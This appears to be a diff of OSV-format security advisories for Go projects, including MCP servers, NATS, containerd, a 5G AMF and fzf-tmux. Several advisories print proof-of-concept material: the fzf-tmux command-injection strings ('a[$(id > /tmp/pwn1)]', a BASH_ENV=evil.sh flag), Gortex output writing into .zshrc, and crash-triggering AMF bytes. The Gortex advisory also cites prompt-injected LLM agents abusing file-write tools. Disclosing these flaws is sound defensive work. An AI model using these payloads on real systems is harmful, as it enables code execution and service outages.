not by-design\nDefault mode is HTTP (sse) on 0.0.0.0:8080, containerized deployment is the normal\nscenario, and there is no \"trusted client only\" / auth-required note in the docs.\nMCP HTTP transports are expected to be loopback-only or gated; this one is neither.\n\n## Suggested fix\n- Add an authorization gate before tools/call on the HTTP transports: e.g.\n WithSSEContextFunc to validate an Authorization bearer/token, or fail-closed\n when no token is configured in HTTP mode.\n- Default the bind to 127.0.0.1 and require explicit opt-in for external binding.\n- Document that HTTP mode must sit behind an authenticating proxy; recommend STDIO\n by default.\n\nReproduction was done against the actual built binary and the shipped SSE path\n(not an extract). \n\n## Credit \nbebold6133","affected":[{"package":{"name":"github.com/reza-gholizade/k8s-mcp-server","ecosystem":"Go","purl":"pkg:golang/github.com/reza-gholizade/k8s-mcp-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-m932-63jc-4jqq/GHSA-m932-63jc-4jqq.json"}}],"references":[{"type":"WEB","url":"https://github.com/reza-gholizade/k8s-mcp-server/security/advisories/GHSA-m932-63jc-4jqq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-130007"},{"type":"WEB","url":"https://github.com/reza-gholizade/k8s-mcp-server/issues/131"},{"type":"WEB","url":"https://github.com/reza-gholizade/k8s-mcp-server/pull/134"},{"type":"WEB","url":"https://github.com/reza-gholizade/k8s-mcp-server/commit/817d81005369837e0c034962785851ca4dec9a76"},{"type":"PACKAGE","url":"https://github.com/reza-gholizade/k8s-mcp-server"},{"type":"WEB","url":"https://github.com/reza-gholizade/k8s-mcp-server/releases/tag/v1.1.0"}],"database_specific":{"cwe_ids":["CWE-306"],"github_reviewed":true,"github_reviewed_at":"2Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-p957-7v2w-g93g","published":"2026-11-20T00:05:17Z","modified":"2026-11-20T00:15:06.475866515Z","aliases":["CVE-2026-58208"],"summary":"NATS Server: MQTT-over-WebSocket Path Can Crash WebSocket-Only JetStream Servers Before MQTT Is Enabled","details":"### Background\n\nNATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT and edge computing.\n\nThe NATS Server can accept client connections over WebSocket and can also support MQTT over WebSocket when MQTT is configured.\n\n### Problem Description\n\nA WebSocket listener could route requests for the MQTT-over-WebSocket path into MQTT handling even when MQTT was not configured.\n\nOn affected deployments, an unauthenticated client with access to the WebSocket listener could reach uninitialized MQTT state and crash the server process.\n\nThis affects deployments that enable WebSocket while leaving MQTT disabled. Deployments where MQTT is intentionally configured initialize the MQTT state and are not affected in the same way.\n\n### Affected Versions\n\nVersions v2.14.2, v2.12.11 and below are vulnerable. The issue is fixed in v2.14.3 and v2.12.12.\n\n### Workarounds\n\nDeployments not using WebSocket are not affected. Deployments using both WebSockets and MQTT are not affected. No known workaround for deployments that need WebSocket without MQTT-over-WebSocket. Upgrade to a fixed release.\n\n### References\n\n * GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-p957-7v2w-g93g>\n * Credit: Vasco Franco, Trail of Bits","affected":[{"package":{"name":"github.com/nats-io/nats-server/v2","ecosystem":"Go","purl":"pkg:golang/github.com/nats-io/nats-server/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.12.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-p957-7v2w-g93g/GHSA-p957-7v2w-g93g.json"}},{"package":{"name":"github.com/nats-io/nats-server/v2","ecosystem":"Go","purl":"pkg:golang/github.com/nats-io/nats-server/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.14.0-RC.1"},{"fixed":"2.14.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-p957-7v2w-g93g/GHSA-p957-7v2w-g93g.json"}}],"references":[{"type":"WEB","url":"https://github.com/nats-io/nats-server/security/advisories/GHSA-p957-7v2w-g93g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58208"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/commit/73b3dd9a5ea0fa7bf08b702338676355b29b5fb4"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/commit/837536b98b3a9280b993282155ff2bdd3ca38c30"},{"type":"PACKAGE","url":"https://github.com/nats-io/nats-server"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/releases/tag/v2.12.12"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/releases/tag/v2.14.3"}],"database_specific":{"cwe_ids":["CWE-248"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:05:17Z","nvd_published_at":"2026-07-08T21:16:52Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-q433-mp6c-8v4f","published":"2026-11-19T22:25:53Z","modified":"2026-11-19T22:45:07.119775919Z","aliases":["CVE-2026-130008"],"summary":"sqlite-mcp: Read-only mode bypass via statement chaining and SQL injection in describe_table","details":"### Summary\n\nIn read-only mode (the default), a client that can call the MCP tools can write to the database the server is meant to expose read-only, read other SQLite files, and create new SQLite files anywhere the server process can write. There are two ways in: statement chaining through `execute_query`, and SQL injection through `describe_table`.\n\n### Details\n\n- **Statement chaining in `execute_query`.** The only check was that the query starts with `SELECT`. The `modernc.org/sqlite` driver runs every `;`-separated statement in one call, so anything after `SELECT 1;` ran unchecked.\n- **SQL injection in `describe_table`.** The `table_name` argument was interpolated into `PRAGMA table_info(%s)` with no guard.\n- **Escaping read-only mode.** Through either path, `ATTACH DATABASE` opens a file read-write regardless of the main connection's `mode=ro`. Attaching the protected database itself made it writable. Attaching another path read that file, or created it if it did not exist.\n\nRead-write mode is not affected beyond its intended capabilities, apart from `ATTACH` reaching files other than the configured database.\n\n### Impact\n\n- Modify the database that read-only mode is meant to protect.\n- Read any SQLite database file the server process can read.\n- Create new SQLite-format files anywhere the server process can write, or write to existing SQLite or empty files. Existing non-empty files that are not SQLite databases are refused and left unchanged.\n\nThe server has no built-in authentication and, by default, listens on `:8080` on all interfaces. Unless it is deployed behind an authenticating proxy, anyone who can reach that port can exploit this.\n\n### Patches\n\nFixed in **v0.1.2**:\n\n- `ATTACH` is disabled in the engine (`SQLITE_LIMIT_ATTACHED` set to 0) on every connection that runs a statement.\n- Read-only connections set `query_only`.\n- `execute_query` rejects input that contains more than one statement.\n- `describe_table` passes the table name as a bound parameter.\n\n### Workarounds\n\nUpgrade to v0.1.2. If you cannot upgrade, don't expose the server to untrusted clients: keep it on a loopback or private interface, or run it behind an authenticating proxy such as ToolHive. Mount only the database you intend to expose, read-only at the filesystem or container level.\n\n### Credits\n\nReported by @bebold6133.","affected":[{"package":{"name":"github.com/StacklokLabs/sqlite-mcp","ecosystem":"Go","purl":"pkg:golang/github.com/StacklokLabs/sqlite-mcp"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.1.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-q433-mp6c-8v4f/GHSA-q433-mp6c-8v4f.json"}}],"references":[{"type":"WEB","url":"https://github.com/StacklokLabs/sqlite-mcp/security/advisories/GHSA-q433-mp6c-8v4f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-130008"},{"type":"WEB","url":"https://github.com/StacklokLabs/sqlite-mcp/pull/112"},{"type":"WEB","url":"https://github.com/StacklokLabs/sqlite-mcp/commit/1da5a6582a4f9d90c778db5687ddcd0c39d2c1ec"},{"type":"WEB","url":"https://github.com/StacklokLabs/sqlite-mcp/commit/3c244d61cc0a9c0cc5e4d74719c1dc83edcfa339"},{"type":"PACKAGE","url":"https://github.com/StacklokLabs/sqlite-mcp"},{"type":"WEB","url":"https://github.com/StacklokLabs/sqlite-mcp/releases/tag/v0.1.2"}],"database_specific":{"cwe_ids":["CWE-863","CWE-89"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:25:53Z","nvd_published_at":"2026-11-18T17:17:38Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-r72h-j7qq-v6qg","published":"2026-11-20T00:04:46Z","modified":"2026-11-20T00:15:06.373362932Z","aliases":["BIT-nats-2026-58210","CVE-2026-58210"],"summary":"NATS Server allows unauthenticated memory exhaustion through incomplete MQTT CONNECT packets","details":"### Background\n\nNATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT and edge computing.\n\nThe NATS Server supports MQTT clients, including authentication and parsing of MQTT `CONNECT` packets.\n\n### Problem Description\n\nAn unauthenticated MQTT client could cause the server to retain large incomplete MQTT `CONNECT` packets before authentication completed.\n\nThe parser retained partial pre-authentication packet data while waiting for the advertised MQTT packet length to be completed. An attacker could therefore consume server memory until authentication timeouts closed the connections.\n\n### Affected Versions\n\nVersions v2.14.2, v2.12.11 and below are vulnerable. The issue is fixed in v2.14.3 and v2.12.12.\n\n### Workarounds\n\nDeployments not using MQTT are not affected. Deployments that need MQTT should upgrade to a fixed release.\n\n### References\n\n * GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-r72h-j7qq-v6qg>\n * Credit: Asritha Bodepudi, Trail of Bits","affected":[{"package":{"name":"github.com/nats-io/nats-server/v2","ecosystem":"Go","purl":"pkg:golang/github.com/nats-io/nats-server/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.12.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r72h-j7qq-v6qg/GHSA-r72h-j7qq-v6qg.json"}},{"package":{"name":"github.com/nats-io/nats-server/v2","ecosystem":"Go","purl":"pkg:golang/github.com/nats-io/nats-server/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.14.0-RC.1"},{"fixed":"2.14.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r72h-j7qq-v6qg/GHSA-r72h-j7qq-v6qg.json"}}],"references":[{"type":"WEB","url":"https://github.com/nats-io/nats-server/security/advisories/GHSA-r72h-j7qq-v6qg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58210"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/commit/bce9ef39469e610aeddb819194ceb7f7edfc0861"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/commit/e016e47bbf70304945f2ae9dc397e4862adefaf5"},{"type":"PACKAGE","url":"https://github.com/nats-io/nats-server"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/releases/tag/v2.12.12"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/releases/tag/v2.14.3"}],"database_specific":{"cwe_ids":["CWE-400"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:04:46Z","nvd_published_at":"2026-07-08T20:16:53Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-v6w5-38cf-pcv8","published":"2026-11-20T00:20:38Z","modified":"2026-11-20T00:30:06.204926659Z","aliases":["CVE-2026-102945"],"summary":"Aether Project amf: panic on an unrecovered NGAP goroutine","details":"## Summary\n\nHandlePathSwitchRequest guards the UESecurityCapabilities IE for presence but never for length, and the extensible APER type silently yields an empty bit string, so six unguarded index-zero reads panic on an unrecovered goroutine and terminate the AMF. The AMF is the control-plane entry point for a 5G core, so terminating it drops mobility management for every subscriber. Confirmed at HEAD daed5a2 (present in v3.1.5).\n\n## The defect\n\nngap/handler.go:\n\n```go\nif uESecurityCapabilities != nil { // line 3267, PRESENCE only\n amfUe.UESecurityCapability.SetEA1_128_5G((uESecurityCapabilities.NRencryptionAlgorithms.Value.Bytes[0] & 0x80) >> 7) // line 3268\n ... (five more Bytes[0] reads, lines 3269-3273)\n}\n```\n\nSix index-zero reads, all guarded only by a nil check on the containing IE. Why the bit string can be empty: the field is declared `aper:\"sizeExt,sizeLB:16,sizeUB:16\"`. Because the type is EXTENSIBLE, parseBitString DISCARDS the SIZE(16) constraint when the peer sets the extension bit, and then `if rawLength == 0 { return bitString, nil }` returns a bit string with an empty Bytes slice and NO ERROR. So the decoder hands the handler a well-formed, error-free value whose Bytes has length zero, and the handler indexes it. The length guarantee the maintainers rely on comes from an ASN.1 SIZE constraint that the encoder rules legitimately waive on the extension path.\n\n## Verification\n\nProven dynamically, not by reading. Eight crafted bytes (40 00 80 00 80 00 80 00) decode cleanly through the REAL APER decoder, and the handler's exact expression then panics with \"index out of range [0] with length 0\". Panic discipline was checked first: the NGAP receive path has NO recover() (the only recover in the package is on SendToRan, the transmit path), so this is a genuine process kill and the AMF terminates.\n\nAttacker model, stated conservatively: a rogue or compromised gNB on the N2 interface, which additionally needs one registered UE's AMF-UE-NGAP-ID. This is NOT reachable by a bare over-the-air UE; the realistic scenario is a compromised or malicious base station, the threat model N2 security exists to address.\n\n## Suggested fix\n\nCheck the length of Bytes before indexing, in all six places, and treat a short or empty bit string as a malformed IE with a PathSwitchRequestFailure rather than proceeding. More durably: since the SIZE constraint is waived on the extension path by design, no aper-decoded bit string can be assumed non-empty, so the same check is needed anywhere else a decoded bit string is indexed. Deduplicated against all eleven existing omec advisories and against hardening commit 030fe7c, which enumerated its sites and MISSED this handler.\n\n## Tooling\n\nAI assistance was used while investigating. The panic was reproduced by driving the real APER decoder with crafted bytes and then the handler's exact expression, and the absence of recover() on the receive path was verified by enumeration rather than assumed. The reporter separately confirmed the six unguarded index-zero reads behind a presence-only check at HEAD.","affected":[{"package":{"name":"github.com/omec-project/amf","ecosystem":"Go","purl":"pkg:golang/github.com/omec-project/amf"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.7.1-0.20260725031321-d28042aaaea0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-v6w5-38cf-pcv8/GHSA-v6w5-38cf-pcv8.json"}}],"references":[{"type":"WEB","url":"https://github.com/omec-project/amf/security/advisories/GHSA-v6w5-38cf-pcv8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102945"},{"type":"WEB","url":"https://github.com/omec-project/amf/pull/767"},{"type":"WEB","url":"https://github.com/omec-project/amf/commit/d28042aaaea0221c5ea93c3e069a1dd5e7436f4c"},{"type":"PACKAGE","url":"https://github.com/omec-project/amf"},{"type":"WEB","url":"https://github.com/omec-project/amf/releases/tag/v3.1.6"}],"database_specific":{"cwe_ids":["CWE-125","CWE-1284","CWE-248"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:20:38Z","nvd_published_at":"2026-11-19T21:17:40Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-vwhp-8p66-mq4f","published":"2026-11-19T22:46:24Z","modified":"2026-11-19T23:00:36.650790873Z","aliases":["CVE-2026-95839"],"summary":"containerd image-triggered daemon crash via malformed digest in subject-annotated descriptor","details":"### Impact\n\nA bug in containerd's image manifest processing causes an unrecovered panic when a child descriptor contains the `io.containerd.manifest.subject` annotation and a malformed digest. Pulling or importing such an image through the transfer service (including default CRI `PullImage` requests) crashes the containerd daemon. In Kubernetes environments, `kubelet` retries failed image pulls with backoff, allowing a pod referencing an untrusted image to repeatedly crash containerd and disrupt container operations on the worker node.\n\n### Patches\n\nThis bug has been fixed in containerd 2.4.2, 2.3.7, and 2.2.10. Users should update to these versions to resolve the issue.\n\n### Workarounds\n\nRestrict pod image references to trusted registries (for example, using a Kubernetes `ValidatingAdmissionPolicy` or admission webhook) and only pull or import images from trusted sources.\n\n### Credits\n\nThe containerd project would like to thank @melihgurlek, LEI WANG (@ssst0n3) and Haoyuan Zhang (@zj1ng7), and OpenSec Intelligence who independently discovered and responsibly disclosed this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/main/SECURITY.md).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https://github.com/containerd/containerd/security/advisories/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)","affected":[{"package":{"name":"github.com/containerd/containerd/v2","ecosystem":"Go","purl":"pkg:golang/github.com/containerd/containerd/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.2.0"},{"fixed":"2.2.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vwhp-8p66-mq4f/GHSA-vwhp-8p66-mq4f.json"}},{"package":{"name":"github.com/containerd/containerd/v2","ecosystem":"Go","purl":"pkg:golang/github.com/containerd/containerd/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.3.0"},{"fixed":"2.3.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vwhp-8p66-mq4f/GHSA-vwhp-8p66-mq4f.json"}},{"package":{"name":"github.com/containerd/containerd/v2","ecosystem":"Go","purl":"pkg:golang/github.com/containerd/containerd/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.4.0"},{"fixed":"2.4.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vwhp-8p66-mq4f/GHSA-vwhp-8p66-mq4f.json"}}],"references":[{"type":"WEB","url":"https://github.com/containerd/containerd/security/advisories/GHSA-vwhp-8p66-mq4f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95839"},{"type":"WEB","url":"https://github.com/containerd/containerd/commit/20a3b31390653d7a83fdaeb0c318b01a263c9d9a"},{"type":"WEB","url":"https://github.com/containerd/containerd/commit/2181d7baa2a303ea2082e5c0f1a7697787b61ef2"},{"type":"WEB","url":"https://github.com/containerd/containerd/commit/2455fec2f7bfa63adb1f993c63ba0cea9cdedb8c"},{"type":"WEB","url":"https://github.com/containerd/containerd/commit/a2eb01f667b320b00ec218216f26f7b79197d4cd"},{"type":"PACKAGE","url":"https://github.com/containerd/containerd"},{"type":"WEB","url":"https://github.com/containerd/containerd/releases/tag/v2.2.10"},{"type":"WEB","url":"https://github.com/containerd/containerd/releases/tag/v2.3.7"},{"type":"WEB","url":"https://github.com/containerd/containerd/releases/tag/v2.4.2"}],"database_specific":{"cwe_ids":["CWE-248"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:46:24Z","nvd_published_at":"2026-11-16T20:19:20Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-w42c-h7hr-f67p","published":"2026-11-19T20:36:31Z","modified":"2026-11-19T20:45:04.393196129Z","aliases":["CVE-2026-62964"],"summary":"Gortex: Arbitrary file write / repo-confinement escape in `write_file` / `edit_file` / `move_inline` MCP tools → code execution","details":"### Summary\nGortex is an MCP server exposing `write_file`, `edit_file`, and `move_inline` tools. `resolveFilePath` **exempts absolute paths** from confinement, and the write handlers — unlike `read_file` / `get_symbol_source` — **never call `guardSymlinkWithinRepo`**. A single MCP `write_file` call with an absolute path writes any file the daemon user can, **outside every indexed repo root** (`AtomicWriteFile`'s `MkdirAll` auto-creates missing parents). Writing `~/.zshrc`, `~/.bashrc`, `.git/hooks/pre-commit`, or a cron/systemd unit yields code execution on the next shell/commit. This directly violates the project's own `SECURITY.md` invariant *\"File-path resolution is **confined to indexed repository roots**\"*\n\n### Affected\n`internal/mcp/tools_fileops.go` (+ `tools_move_inline.go`), HEAD `28fa017` (v0.53.0).\n**CWE-22** (Path Traversal) / **CWE-73** (External Control of File Name/Path) → **CWE-94** (code execution).\n\n### Vulnerable code\n`internal/mcp/tools_fileops.go:54-62` `resolveFilePath` exempts absolute paths from the repo-root confinement; the write sink at `:793` (`AtomicWriteFile`, `write_file`) and `:676` (`edit_file`) run with **no** `guardSymlinkWithinRepo`. The asymmetry is the bug: `read_file` (`:940`) and `get_symbol_source` **do** call `guardSymlinkWithinRepo`; the write path does not.\n\n### PoC (executed)\nThe PoC (`internal/mcp/poc_arbitrary_write_test.go`, package `mcp`) builds the server via the repo's **own** `newSingleRepoServer(t)` harness and invokes the real `srv.handleWriteFile` through the genuine `mcplib.CallToolRequest` shape:\n```\n=== RUN TestPoC_ArbitraryWrite_AbsolutePathEscapesEveryRepoRoot\n indexed repo root (confinement boundary): /var/folders/.../myrepo\n handler status=created path=/var/folders/.../003/pwn.txt bytes_written=50\n PROOF: /var/folders/.../003/pwn.txt now exists with attacker bytes \"OWNED-by-gortex-write_file-outside-every-repo-root\"\n RCE-PATH PROOF: wrote /var/folders/.../004/victim-home/.zshrc (parent dir auto-created) -> \"echo PWNED_BY_GORTEX_RCE # injected via write_file\"\n VIOLATION of SECURITY.md line 17 (\"It does not write to source files\")\n--- PASS (go test ok)\n```\nThe test asserts the handler did **not** return `IsError` and that the files exist outside every repo root. (Full PoC available on request.)\n\n### Impact\n`write_file` / `edit_file` are MCP tools driven by an LLM agent. A prompt-injected or adversarial agent (the standard MCP threat model) writes any file the daemon user can — startup/hook/cron files → arbitrary code execution on the host running the daemon. Confinement (the security property `SECURITY.md` promises) is broken on the write path.\n\n### Severity\n**High — CVSS v3.1 `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` ≈ 8.x.** `UI:R` reflects that a tool call must be elicited from the agent (standard MCP injected-tool model). The RCE is a chain (write a startup/hook file → execute on next trigger), so `I:H` + the code-execution path. Floor: if the deployment never exposes write tools to untrusted input, impact is lower — but the tool is shipped and the confinement guard is simply absent on the write path.\n\n### Remediation\nApply `guardSymlinkWithinRepo` (and reject absolute paths outside the indexed roots) on `write_file` / `edit_file` / `move_inline`, identically to `read_file` / `get_symbol_source`. Confinement must cover the write path.\n\n### Dedup / freshness (re-verified live)\n`gh api repos/zzet/gortex/security-advisories` → `[]` (none). `gh search prs/issues` for `resolveFilePath` / `guardSymlinkWithinRepo` / symlink / traversal / confinement → 0 (re-verified 2026-06-27; recent merges #175-#183 touch indexer/persistence, not the write path). `resolveFilePath` / `guardSymlinkWithinRepo` are gortex-own code (not vendored). **Fresh** at HEAD `28fa017`.","affected":[{"package":{"name":"github.com/zzet/gortex","ecosystem":"Go","purl":"pkg:golang/github.com/zzet/gortex"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.55.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w42c-h7hr-f67p/GHSA-w42c-h7hr-f67p.json"}}],"references":[{"type":"WEB","url":"https://github.com/zzet/gortex/security/advisories/GHSA-w42c-h7hr-f67p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62964"},{"type":"WEB","url":"https://github.com/zzet/gortex/commit/5ba2f066dd6dcd726c4e61b74851862dc596d994"},{"type":"PACKAGE","url":"https://github.com/zzet/gortex"},{"type":"WEB","url":"https://github.com/zzet/gortex/releases/tag/v0.55.0"}],"database_specific":{"cwe_ids":["CWE-22","CWE-73"],Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-w6x2-f5m4-xw82","published":"2026-11-19T22:41:46Z","modified":"2026-11-19T22:45:06.180110990Z","aliases":["CVE-2026-121716"],"summary":"fzf: Arbitrary command execution via bash arithmetic expansion on unvalidated layout size in fzf-tmux (-l/-u attached value)","details":"### Summary\n\n`bin/fzf-tmux` fails to validate layout size values given in the *attached* form (e.g. `-l50`). For `-l`/`-u` these values reach bash arithmetic expansion (`$(( max - size ))`), where an operand like `a[$(cmd)]` executes `cmd` as the invoking user during option parsing — before any tmux interaction and even outside tmux. A second sink embeds unvalidated popup geometry (`-x/-y/-w/-h/-p`) into an unquoted `tmux popup ... $opt ...` invocation, allowing injection of tmux flags such as `-e BASH_ENV=<path>` (command execution via non-interactive bash sourcing `$BASH_ENV`).\n\n### Reporter / Credits:\nSai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/\n\n### Details\n\nIn `bin/fzf-tmux` (tag 0.74.4, commit a140afeb), the option parser validates size values with a regex (`^[0-9%,]+$` / `^[A-Z]$`) only for the separate-argument form (line 82). The attached form is captured unvalidated at line 80:\n\n```bash\nif [[ ${#arg} -gt 2 ]]; then\n size=\"${arg:2}\" # no validation\nelse\n if [[ $1 =~ ^[0-9%,]+$ ]] || [[ $1 =~ ^[A-Z]$ ]]; then # only separate form validated\n```\n\nFor `-l` and `-u`, `swap` is non-empty (lines 68/75), so `size` reaches arithmetic evaluation:\n\n- line 120: `size=$((max - size))` (non-percent values)\n- line 102: `opt=\"$opt -l $((100 - size))%\"` (percent, tmux >= 3.2)\n- line 108: `opt=\"$opt -p $((100 - size))\"` (percent, tmux < 3.2)\n\nBash arithmetic expands array subscripts, so `a[$(command)]` runs `command`. Verified end-to-end against the unmodified script (see PoC).\n\nSecond sink (same root cause): `opt` is used unquoted at line 236 (`tmux popup -d \"$PWD\" $opt \"bash $argsf\"`) and line 249, so a geometry value containing spaces injects extra tmux flags, e.g. `-e BASH_ENV=/path/to/script`.\n\n### PoC\n\nVerified on 0.74.4 (no tmux or fzf binary needed — a stub `fzf` on PATH suffices because the sink fires during bash argument parsing):\n\n```console\n$ bash bin/fzf-tmux '-l a[$(id > /tmp/pwn1)]' # line 120 sink (non-percent)\n$ bash bin/fzf-tmux '-u a[$(id > /tmp/pwn2)]%' # line 102/108 sink (percent)\n\n$ cat /tmp/pwn1 /tmp/pwn2\nuid=1001(sb) gid=1001(sb) groups=...\nuid=1001(sb) gid=1001(sb) groups=...\n```\n\nA self-contained reproducer was provided by email (poc-t03-arithmetic.sh). Popup flag-injection variant (tmux >= 3.2): `bash bin/fzf-tmux -p '-x0 -e BASH_ENV=/path/to/evil.sh'`.\n\n### Impact\n\nLocal command injection (CWE-78). `fzf-tmux` argv is commonly assembled by third-party scripts and editor plugins (e.g. `fzf-tmux -l \"${height}%\"`); any layout value influenced by less-trusted data (project-local config, wrapper scripts) yields arbitrary command execution as the invoking user. Suggested fixes: apply the regex validation to the attached form, constrain `size` to `[0-9]+` before any `$((...))`, and build the tmux invocation as an array (`\"${opt_parts[@]}\"`) instead of unquoted `$opt`.\n\nReported privately to the maintainer by email; fixes prepared for the next release.\n\n### Exploitability in practice\n\nImpact is high (command execution as the invoking user), but a real attack requires attacker-controlled data to reach the fzf-tmux layout arguments (`-l`/`-u`). In normal use these values are set by the user or by trusted, hardcoded configuration, so a vulnerable data flow is uncommon. The issue is local-only, requires the victim to run fzf-tmux with the poisoned value, and `bin/fzf-tmux` has been superseded by the built-in `--tmux`/`--popup` option since 0.53.0.","affected":[{"package":{"name":"github.com/junegunn/fzf","ecosystem":"Go","purl":"pkg:golang/github.com/junegunn/fzf"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.74.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.74.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w6x2-f5m4-xw82/GHSA-w6x2-f5m4-xw82.json"}}],"references":[{"type":"WEB","url":"https://github.com/junegunn/fzf/security/advisories/GHSA-w6x2-f5m4-xw82"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-121716"},{"type":"WEB","url":"https://github.com/junegunn/fzf/commit/f126ff29549e0983f571fbc32dddcfbede251aa7"},{"type":"PACKAGE","url":"https://github.com/junegunn/fzf"},{"type":"WEB","url":"https://github.com/junegunn/fzf/releases/tag/v0.74.5"}],"database_specific":{"cwe_ids":["CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:41:46Z","nvd_published_at":"2026-11-17T20:17:36Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}
|
||||
@@ -0,0 +1 @@
|
||||
